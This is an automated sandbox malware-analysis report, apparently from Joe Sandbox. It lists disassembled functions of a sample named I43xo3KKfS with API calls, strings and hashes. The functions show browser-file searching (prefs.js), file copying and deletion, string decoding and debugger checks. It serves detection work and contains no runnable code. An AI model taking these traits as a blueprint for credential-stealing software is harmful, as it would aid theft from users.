Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$P2#v$\*.*$1#v
API String ID: 2325840235-3454896120
Opcode ID: f217476c6ae2219796cc1771393134022b1e5c56e331c1e6e67964cd7de86303
Instruction ID: 5b1d21d8256b1a4f75019a03d5e94b0e3f490a8b44af3c5bb40891ece502d815
Opcode Fuzzy Hash: f217476c6ae2219796cc1771393134022b1e5c56e331c1e6e67964cd7de86303
Instruction Fuzzy Hash: F6F14D71A151189ACB25EB61DCA5EEE7339AF14314F4005EFB10A62091EF387BD8CF5A

Function 0040F7B0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004216B0,00420D97), ref: 0040F81E
StrCmpCA.SHLWAPI(?,004216B4), ref: 0040F86F
StrCmpCA.SHLWAPI(?,004216B8), ref: 0040F885
FindNextFileA.KERNEL32(000000FF,?), ref: 0040FBB1
FindClose.KERNEL32(000000FF), ref: 0040FBC3

Strings

1#v, xrefs: 0040F81E
prefs.js, xrefs: 0040F912
P2#v, xrefs: 0040FBB1

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: df14fdf025351ccd78b4d68e8df8d8be29314ced6f6d9004e595dec1b1021e82
Instruction ID: 41002e5bbb8aa5eaa1de2a73ae7baa64e6dc855d43d68c47d205a656f8df75cd
Opcode Fuzzy Hash: df14fdf025351ccd78b4d68e8df8d8be29314ced6f6d9004e595dec1b1021e82
Instruction Fuzzy Hash: 84B19371A011089BCB24FF61DC96FEE7379AF54304F0045AEA50A57191EF386B98CF9A

Function 0040DB80 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215A8,00420BAF), ref: 0040DBEB
StrCmpCA.SHLWAPI(?,004215AC), ref: 0040DC33
StrCmpCA.SHLWAPI(?,004215B0), ref: 0040DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 0040DECC
FindClose.KERNEL32(000000FF), ref: 0040DEDE

Strings

1#v, xrefs: 0040DBEB
P2#v, xrefs: 0040DECC

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: 5040f15f2821307074947534ecc3432e9d77e7fce5faa6717a3ee848dc64bf0a
Instruction ID: c85deeef17d72a94dc1f170446f25d55197e78b42259dde6f56d7dfc7a2e5770
Opcode Fuzzy Hash: 5040f15f2821307074947534ecc3432e9d77e7fce5faa6717a3ee848dc64bf0a
Instruction Fuzzy Hash: 40917572A001049BCB14FBB1ED96DED733DAF84344F00456EF90666185EE38AB5CCB9A

Function 00401710 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425244,?,00401F6C,?,004252EC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425394), ref: 004019B3
StrCmpCA.SHLWAPI(?,0042543C), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Strings

1#v, xrefs: 00401963
\*.*, xrefs: 00401831
P2#v, xrefs: 00401E60

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: aa6347fa7a931e0d70cdd9cb64dfe392bc0abe899727717f5b69c609c5c2facf
Instruction ID: a576ed9f26fd673c6d53a896fc8188a2a0655e62510251b9f9068b5a07b58df1
Opcode Fuzzy Hash: aa6347fa7a931e0d70cdd9cb64dfe392bc0abe899727717f5b69c609c5c2facf
Instruction Fuzzy Hash: 45125071A111189BCB15FB61DCA6EEE7339AF14314F4045EEB10662091EF386BD8CFA9

Function 6D4840D0 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

expa, xrefs: 6D4845F3
te k, xrefs: 6D4843EC
expa, xrefs: 6D484499
2-by, xrefs: 6D48412E
expand 3, xrefs: 6D48451D
te k, xrefs: 6D48437F
te knd 3expand 32-by, xrefs: 6D484386
2-by, xrefs: 6D4843A6
te k, xrefs: 6D484576
2-byexpa, xrefs: 6D48438D
nd 32-by, xrefs: 6D4844EC
expand 32-by, xrefs: 6D484400
nd 3, xrefs: 6D48414F

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: e0a762990b98a574577e8d5f8cb6559cef5e187763a0ffa2da527263dd05f4e8
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 04E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 61E9E24F Relevance: 17.1, Strings: 13, Instructions: 869COMMON

Download Yara Rule

Strings

content, xrefs: 61E9E6BE, 61E9EC68, 61E9EE3F
docsize, xrefs: 61E9ECA4, 61E9EE46
config, xrefs: 61E9ECC9
segid, term, pgno, PRIMARY KEY(segid, term), xrefs: 61E9EAF2
rowid, xrefs: 61E9E89A, 61E9E993
idx, xrefs: 61E9EAF7
bua, xrefs: 61E9ED4E
id INTEGER PRIMARY KEY, block BLOB, xrefs: 61E9EACC
id INTEGER PRIMARY KEY, sz BLOB, xrefs: 61E9EC9F
data, xrefs: 61E9EAD1
k PRIMARY KEY, v, xrefs: 61E9ECC4
version, xrefs: 61E9ECE8
bua, xrefs: 61E9E43E

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: bua$bua$config$content$data$docsize$id INTEGER PRIMARY KEY, block BLOB$id INTEGER PRIMARY KEY, sz BLOB$idx$k PRIMARY KEY, v$rowid$segid, term, pgno, PRIMARY KEY(segid, term)$version
API String ID: 0-2268357529
Opcode ID: ded661c404d5cc3ee6d8e860b08a1552b0deeae0106c20c9e1028bc7c6586be6
Instruction ID: f9c2f8dafde392a94833a84278d27f7abaf5337b7a20f26a6dc113648fca896e
Opcode Fuzzy Hash: ded661c404d5cc3ee6d8e860b08a1552b0deeae0106c20c9e1028bc7c6586be6
Instruction Fuzzy Hash: FE8206B49046499FDB10CFA9C18079DBBF1BF89318F25C92EE894AB395D774D881CB42

Function 6D48A700 Relevance: 12.9, Strings: 10, Instructions: 418COMMON

Download Yara Rule

Strings

2FMme, xrefs: 6D48AC06
2FMme, xrefs: 6D48ABA1
2FMme, xrefs: 6D48AC45
2FMme, xrefs: 6D48ABEB, 6D48ABFA
2FMme, xrefs: 6D48ABCA, 6D48ABD6
2FMme, xrefs: 6D48AC21
2FMme, xrefs: 6D48AC15
2FMme, xrefs: 6D48AC39
2FMme, xrefs: 6D48ABAD, 6D48ABBB
2FMme, xrefs: 6D48AC2D

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: 2FMme$2FMme$2FMme$2FMme$2FMme$2FMme$2FMme$2FMme$2FMme$2FMme
API String ID: 0-2032257099
Opcode ID: 54be783b6223482c8b263471810f6049b216dc01b39c8abe392ed6f5cc329990
Instruction ID: baa024de532bde56584312edcc2d8910b303042a49ace0f21a0b5bff18328d50
Opcode Fuzzy Hash: 54be783b6223482c8b263471810f6049b216dc01b39c8abe392ed6f5cc329990
Instruction Fuzzy Hash: 99F138B620D6914BC71D8A1884B0DBD7FD25FA9105F0E86ADE9DB0F383D924DE01DBA1

Function 0040C920 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C953
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,008A8FE0), ref: 0040C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
memcpy.MSVCRT(?,?,?), ref: 0040CA12
lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction ID: ab8a272bb0ac48908ccb48df32c4a676bf2e37b68a454f4a62162a4422f92537
Opcode Fuzzy Hash: b72dd9bfbf458160f1e602edd60bafd9c1ab3fe4aebb36f7fc77a597216b37cf
Instruction Fuzzy Hash: FD4130B4E0421DDBDB10CFA4DD89BEEB7B9BB48304F1042AAF509A62C0D7745A84CF95

Function 0041B63A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BEA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BEB7
UnhandledExceptionFilter.KERNEL32(eM), ref: 0041BEC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BEDE
TerminateProcess.KERNEL32(00000000), ref: 0041BEE5

Strings

eM, xrefs: 0041BEBD

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: eM
API String ID: 2579439406-4107679315
Opcode ID: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction ID: e0cf9fd370cfefa4586a3e07c7ad2671862445e1fb84a52232205764a1bb9e34
Opcode Fuzzy Hash: 193660ad69945e5d4e8f2537fb9143e859482eb6e3c007ea4e683d192d75b70a
Instruction Fuzzy Hash: FC21CCB8902214DFC710DF69FC85A883BB4FB18314F12807BE90887262E7B499818F5D

Function 0040A210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Strings

>O@, xrefs: 0040A224, 0040A231, 0040A249, 0040A268, 0040A234, 0040A26B

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction ID: de78b312e53d8eb1032a325daaba17a5ad67a9fc4c37dbc2dcfee383a82f1a49
Opcode Fuzzy Hash: edccb5067cb49db7a5de6f654d3a134b15aae92a07ed0db144d4c911c0eb6ceb
Instruction Fuzzy Hash: 3B11D474641308AFEB10CF64DC95FAA77B5EB88B04F208099FD159B3D0C776AA41CB50

Function 61E86668 Relevance: 8.2, Strings: 6, Instructions: 719COMMON

Download Yara Rule

Strings

q, xrefs: 61E86DD9
non-unique entry in index , xrefs: 61E8700A
wrong # of entries in index , xrefs: 61E86DE9
missing from index , xrefs: 61E86ED7
d, xrefs: 61E866B5
row , xrefs: 61E86EA4

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: missing from index $d$non-unique entry in index $q$row $wrong # of entries in index
API String ID: 0-2434882124
Opcode ID: 7b4e3502c80a4384d77415debf17acac60d31245c151a2030a67de06a2fb1782
Instruction ID: 64764bd2453105caa9badb98113fecf854144ac2eeaebcc13dcf1322e2d74596
Opcode Fuzzy Hash: 7b4e3502c80a4384d77415debf17acac60d31245c151a2030a67de06a2fb1782
Instruction Fuzzy Hash: 5272E374A042898FDB50DFA8C59079DBBF1BB88304F20C56DE8A8AB395D775E942CF41

Function 6D4B15E0 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,6D4B144F,?,00001000,?,6D4A981A,FFFFFFFF,?,6D4B144F,?,?), ref: 6D4B1645
WriteConsoleW.KERNEL32(?,?,00000000,00000000,00000000,?,6D4B144F), ref: 6D4B1675
WriteConsoleW.KERNEL32(?,?,00000001,6D4B144F,00000000,?,6D4B144F), ref: 6D4B16C6
GetLastError.KERNEL32(?,6D4B144F), ref: 6D4B18E3

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: ConsoleWrite$ByteCharErrorLastMultiWide
String ID:
API String ID: 3036337926-0
Opcode ID: 227693496c628aa616ec5dab5715430e105ce2732019e2346faf5cc36a61be65
Instruction ID: 80a531c21fa3e18c02e5f97a74622ab8c283b4435cc1c61cb814e560bc5c89fa
Opcode Fuzzy Hash: 227693496c628aa616ec5dab5715430e105ce2732019e2346faf5cc36a61be65
Instruction Fuzzy Hash: AD913B319287825AEB029B38C841F7AB764BFE7380F15C72EF99472991FB3189818355

Function 6D4B390E Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

}, xrefs: 6D4B3AC7
}, xrefs: 6D4B39D7
{, xrefs: 6D4B39E2
\u, xrefs: 6D4B39DB
{, xrefs: 6D4B3AD2
\u, xrefs: 6D4B3ACB

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 65cebf640a25b7df784658cc460682034c6026abb2b068ab639bfc432b24d23a
Instruction ID: c568e2509b6543023e1af1746f270aad7282b3ac314055d27f6d20b08a67d616
Opcode Fuzzy Hash: 65cebf640a25b7df784658cc460682034c6026abb2b068ab639bfc432b24d23a
